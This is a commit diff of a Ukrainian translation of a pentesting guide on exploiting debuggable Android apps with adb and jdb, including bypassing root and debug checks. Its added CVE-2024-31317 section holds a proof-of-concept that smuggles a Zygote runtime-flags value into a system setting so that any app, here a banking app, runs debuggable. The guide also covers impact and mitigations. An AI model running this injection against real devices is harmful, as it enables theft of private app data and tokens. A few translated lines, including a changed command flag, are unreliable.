Translated ['src/mobile-pentesting/android-app-pentesting/exploiting-a-d

This commit is contained in:
Translator 2025-07-28 16:29:35 +00:00
parent 93b5c50a74
commit 7d8a9504c1

View File

@ -15,7 +15,7 @@
1. **Декомпілювати APK:**
- Використовуйте інструмент APK-GUI для декомпіляції APK.
- У файлі _android-manifest_ вставте `android:debuggable=true`, щоб увімкнути режим налагодження.
- У файлі _android-manifest_ вставте `android:debuggable="true"` для активації режиму налагодження.
- Знову скомпілюйте, підпишіть та zipalign модифікований додаток.
2. **Встановіть модифікований додаток:**
@ -30,7 +30,7 @@
- Команда: `adb shell am setup-debug-app w <package_name>`.
- **Примітка:** Цю команду потрібно виконувати щоразу перед запуском додатку, щоб він чекав на налагоджувач.
- Для постійності використовуйте `adb shell am setup-debug-app w -persistent <package_name>`.
- Для збереження використовуйте `adb shell am setup-debug-app w persistent <package_name>`.
- Щоб видалити всі прапорці, використовуйте `adb shell am clear-debug-app <package_name>`.
5. **Підготуйтеся до налагодження в Android Studio:**
@ -43,11 +43,11 @@
### **Обхід перевірок**
Додаток у певні моменти перевіряє, чи є він налагоджуваним, а також перевіряє наявність бінарних файлів, що вказують на рутований пристрій. Налагоджувач може бути використаний для зміни інформації про додаток, скидання біта налагодження та зміни назв шуканих бінарних файлів для обходу цих перевірок.
Додаток у певні моменти перевіряє, чи є він налагоджуваним, а також перевіряє наявність бінарних файлів, що вказують на пристрій з root-доступом. Налагоджувач може бути використаний для зміни інформації про додаток, скидання біта налагодження та зміни назв шуканих бінарних файлів для обходу цих перевірок.
Для перевірки налагодження:
1. **Змініть налаштування прапорців:**
1. **Змінити налаштування прапорців:**
- У секції змінних консолі налагоджувача перейдіть до: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
- **Примітка:** Бінарне представлення `flags = 814267974` є `11000011100111011110`, що вказує на те, що "Flag_debuggable" активний.
@ -63,29 +63,65 @@
## **Перевірка на вразливість**
- Додаток був декомпільований за допомогою `apktool`, щоб отримати доступ до файлу `AndroidManifest.xml`.
- Додаток був декомпільований за допомогою `apktool` для доступу до файлу `AndroidManifest.xml`.
- Наявність `android_debuggable="true"` у AndroidManifest.xml вказує на те, що додаток є налагоджуваним і підлягає експлуатації.
- Варто зазначити, що `apktool` використовується лише для перевірки статусу налагодження без зміни будь-якого коду.
## **Підготовка налаштувань**
## **Підготовка налаштування**
- Процес передбачав ініціювання емулятора, встановлення вразливого додатку та використання `adb jdwp` для ідентифікації портів Dalvik VM, які слухають.
- JDWP (Java Debug Wire Protocol) дозволяє налагоджувати додаток, що працює в VM, відкриваючи унікальний порт.
- Портове перенаправлення було необхідним для віддаленого налагодження, після чого JDB було підключено до цільового додатку.
- Портове перенаправлення було необхідним для віддаленого налагодження, після чого JDB було прикріплено до цільового додатку.
## **Впровадження коду під час виконання**
- Експлуатація була здійснена шляхом встановлення точок зупинки та контролю за потоком виконання додатку.
- Експлуатація проводилася шляхом встановлення точок зупинки та контролю потоку виконання додатку.
- Команди, такі як `classes` та `methods <class_name>`, використовувалися для виявлення структури додатку.
- Точка зупинки була встановлена в методі `onClick`, і її виконання контролювалося.
- Команди `locals`, `next` та `set` використовувалися для перевірки та зміни локальних змінних, зокрема зміни повідомлення "Try Again" на "Hacked".
- Модифікований код був виконаний за допомогою команди `run`, успішно змінивши вихідні дані додатку в реальному часі.
- Модифікований код виконувався за допомогою команди `run`, успішно змінюючи вихід додатку в реальному часі.
Цей приклад продемонстрував, як можна маніпулювати поведінкою налагоджуваного додатку, підкреслюючи потенціал для більш складних експлуатацій, таких як отримання доступу до оболонки на пристрої в контексті додатку.
Цей приклад продемонстрував, як можна маніпулювати поведінкою налагоджуваного додатку, підкреслюючи потенціал для більш складних експлойтів, таких як отримання доступу до оболонки на пристрої в контексті додатку.
---
# 2024 Перетворення **будь-якого** додатку на процес налагодження (CVE-2024-31317)
Навіть якщо цільовий APK е_ постачається з прапорцем `android:debuggable`, нещодавні дослідження показали, що можливо примусити **произвольні додатки** запускатися з прапорцем `DEBUG_ENABLE_JDWP` під час виконання, зловживаючи способом, яким Zygote аналізує аргументи командного рядка.
* **Вразливість:** Неправильна валідація `--runtime-flags`, наданих через командний сокет Zygote, дозволяє зловмиснику, який може досягти `system_server` (наприклад, через привілейовану оболонку `adb`, яка має дозвіл `WRITE_SECURE_SETTINGS`), впроваджувати додаткові параметри. Коли підготовлена команда повторно відтворюється `system_server`, жертва додаток створюється як алагоджуваний_ і з потоком JDWP, що слухає. Проблема відстежується як **CVE-2024-31317** і була виправлена в червневому бюлетені безпеки Android 2024 року.
* **Вплив:** Повний доступ на читання/запис до приватного каталогу даних **будь-якого** додатку (включаючи привілейовані, такі як `com.android.settings`), крадіжка токенів, обхід MDM, і в багатьох випадках прямий шлях до ескалації привілеїв шляхом зловживання експортованими IPC-точками тепер налагоджуваного процесу.
* **Постраждалі версії:** Android 9 до 14 до червневого рівня патчів 2024 року.
## Швидкий PoC
```bash
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
```
> Сформоване значення на кроці 1 виводить парсер з "швидкого шляху" і додає другу синтетичну команду, де `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) приймається так, ніби вона була надана фреймворком. Як тільки додаток запущено, відкривається сокет JDWP, і звичайні трюки динамічного налагодження (заміна методів, патчинг змінних, живе впровадження Frida тощо) можливі **без модифікації APK або образу завантаження пристрою**.
## Виявлення та пом'якшення
* Виправлення до **2024-06-01** (або пізніше) рівня безпеки Google посилив `ZygoteCommandBuffer`, щоб наступні команди не могли бути контрабандою таким чином.
* Обмежити доступ `WRITE_SECURE_SETTINGS` / `shell` на виробничих пристроях. Для експлуатації потрібен цей дозвіл, який зазвичай має лише ADB або програми з привілеями OEM.
* У флотах, керованих EMM/MDM, примусово встановити `ro.debuggable=0` і заборонити shell через `adb disable-verifier`.
---
## Посилання
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
{{#include ../../banners/hacktricks-training.md}}